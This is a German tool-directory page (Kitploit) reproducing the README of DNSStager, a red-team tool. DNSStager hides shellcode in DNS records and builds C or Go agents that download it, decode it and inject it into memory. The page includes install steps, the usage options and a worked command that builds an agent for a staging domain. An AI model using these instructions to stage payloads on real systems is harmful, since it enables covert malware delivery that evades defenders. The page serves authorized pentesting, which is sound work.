Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DNSStager — Verstecke deine Nutzlast in DNS | Kitploit
Tools/GitHubGitHub/mhaskar/dnsstager
Payload-GenerierungExploitationCommand and ControlRed TeamingPayload-EntwicklungDNS-Analyse
GitHubmhaskar/dnsstager

DNSStager

Verstecke deine Nutzlast in DNS

Repository anzeigen
622133vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Was ist DNSStager?

DNSStager ist ein Open-Source-Projekt auf Basis von Python, das verwendet wird, um Ihre Payload zu verstecken und über DNS zu übertragen.

DNSStager erstellt einen bösartigen DNS-Server, der DNS-Anfragen an Ihre Domain bearbeitet und Ihre Payload als Antwort auf bestimmte Record-Anfragen wie AAAA- oder TXT-Records zurückgibt, nachdem sie in Chunks aufgeteilt und mit verschiedenen Algorithmen kodiert wurde.

DNSStager kann einen benutzerdefinierten Agenten in C oder GoLang generieren, der eine Sequenz von Domains auflöst, die Payload abruft, dekodiert und schließlich basierend auf einer beliebigen Technik, die Sie wählen, in den Speicher injiziert.

Sie können den Code des DNSStager-Agenten nach Belieben bearbeiten und mit Ihren eigenen benutzerdefinierten Ausführungstechniken erstellen.

Das Hauptziel von DNSStager ist es, Red Teamern/Pentestern zu helfen, ihre Payloads auf einem verdeckten Kanal über DNS zu liefern.

Wie funktioniert es?

Basierend auf Ihrer DNS-Auflösungsoption teilt DNSStager Ihre Payload in Chunks auf und speichert jeden Chunk der Payload als Antwort für eine Subdomain.

Wenn Sie beispielsweise IPV6 als Option zum Abrufen der Payload wählen, sieht die DNS-Antwort etwa so aus:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Wobei 5648:31d2:6548:8b52:6048:8b52:1848:8b52 ein Teil Ihrer Payload ist.

Der Agent löst also einige Domains auf, um die Payload abzurufen, dekodiert sie und injiziert sie schließlich in den Speicher.

Derzeit unterstützt DNSStager nur zwei Records, AAAA und TXT. Sie können Ihre Payload mit XOR für den AAAA-Record kodieren, und standardmäßig wird sie als Base64 kodiert, wenn Sie den TXT-Record wählen.

Hauptfunktionen von DNSStager:

DNSStager hat einige Hauptfunktionen wie:

  • Verstecken und Auflösen Ihrer Payload in IPV6-Records.
  • Verstecken und Auflösen Ihrer Payload in TXT-Records.
  • XOR-Encoder zur Kodierung Ihrer Payload.
  • Base64-Encoder zur Kodierung Ihrer Payload (nur für TXT-Records).
  • Reiner Agent in C geschrieben, mit der Möglichkeit zur Anpassung.
  • Reiner Agent in GoLang geschrieben, mit der Möglichkeit zur Anpassung.
  • Die Möglichkeit, eine Pause zwischen jeder DNS-Anfrage einzulegen.
  • UND VIELES WEITERE IN ZUKUNFT!

Voraussetzungen

Sie können die Python-Anforderungen von DNSStager über den folgenden Befehl installieren:

pip3 install -r requirements.txt

Sie müssen die GoLang-Version 1.16.3 installieren und sicherstellen, dass die folgenden GoLang-Pakete installiert sind:

  • golang.org/x/sys
  • github.com/miekg/dns

Stellen Sie außerdem sicher, dass Sie mingw-w64 über den folgenden Befehl installieren:

apt install mingw-w64

Das Skript setup.sh sollte das für Sie erledigen, aber überprüfen Sie die Voraussetzungen vor der Verwendung noch einmal!

Installation

Um die neueste Version von DNSStager zu erhalten, klonen Sie es über den folgenden Befehl aus diesem Repository:

git clone https://github.com/mhaskar/DNSStager

Dann müssen Sie die Anforderungen mit dem folgenden Befehl installieren:

pip3 install -r requirements.txt

Und stellen Sie sicher, dass auch alle zuvor genannten Voraussetzungen installiert sind.

Nachdem Sie dies alles erledigt haben, können Sie DNSStager als root ausführen, um Folgendes zu erhalten:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

Verwendung

Um DNSStager zu verwenden, stellen Sie zunächst Ihre DNS-Einstellungen ein. Sie müssen Ihre Domain als NS-Record auf die DNSStager-Instanz verweisen lassen, um alle DNS-Anfragen an Ihre Domain zu verarbeiten.

Sie können diesen vollständigen Artikel darüber lesen, wie Sie DNSStager einrichten und verwenden.

Und Sie können die Optionen mit dem Schalter -h wie folgt überprüfen:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: Mit dieser Option wählen Sie die Hauptdomain aus, die Sie für die Verarbeitung der DNS-Anfragen verwenden.

  • --prefix: Das Präfix, das Sie für das Subdomain-Schema verwenden möchten. Wenn Ihre Hauptdomain beispielsweise fakedns.live ist, können Sie das Präfix als "cdn" angeben. Die generierten Domains haben dann folgendes Muster:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

    Wobei N eine automatisch generierte Zahl ist, die die Anzahl der Chunks Ihrer Payload darstellt.

  • --payload: Die DNSStager-Payload („Agent“), die Sie basierend auf der Technik, Programmiersprache und Architektur generieren möchten.

  • --output: Ausgabepfad zum Speichern der ausführbaren DNSStager-Payload („Agent“).

  • --shellcode_path: Pfad zu Ihrem raw/bin-Shellcode.

  • --xorkey: XOR-Schlüssel, mit dem die Payload kodiert wird.

  • --sleep: Wird verwendet, um zwischen jeder DNS-Anfrage N Sekunden zu warten.

  • --tcp: DNS-Server über TCP-Protokoll starten und verwenden

DNSStager-Payloads

Um die verfügbaren DNSStager-Payloads zu überprüfen, verwenden Sie ./dnsstager.py --payloads, um die folgenden Ergebnisse zu erhalten:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Beispiel für die Verwendung von DNSStager mit IPV6

Dieses Beispiel startet DNSStager, um Ihre Payload als IPV6 unter Verwendung der Domain test.mydnsserver.live mit dem Präfix cloud-srv- aufzulösen, um einen kompilierten x64 C-Agenten zu generieren, der mit 0x10 als Schlüssel kodiert ist:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

Und die Ausgabe wird sein:

Alt text

Und um zu überprüfen, ob alles funktioniert, senden wir eine DNS-Abfrage an cloud-srv-0.test.mydnsserver.live, um Folgendes zu erhalten:

Alt text

Wir sehen, dass wir f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b als Antwort erhalten haben, die die ersten 16 Byte unserer kodierten Payload darstellt.

Dann können Sie den Agenten /tmp/a2.exe (wie mit --output in der Befehlszeile festgelegt) auf dem Zielcomputer ausführen, der alle erforderlichen Chunks herunterlädt, dekodiert und in den Speicher injiziert.

Ressourcen

  • DNSStager v1.0 stable: stealthier code, DLL agent & much more.
  • Unveiling DNSStager: A tool to hide your payload in DNS.

Lizenz

Dieses Projekt ist unter der GPL-3.0-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Tool herunterladen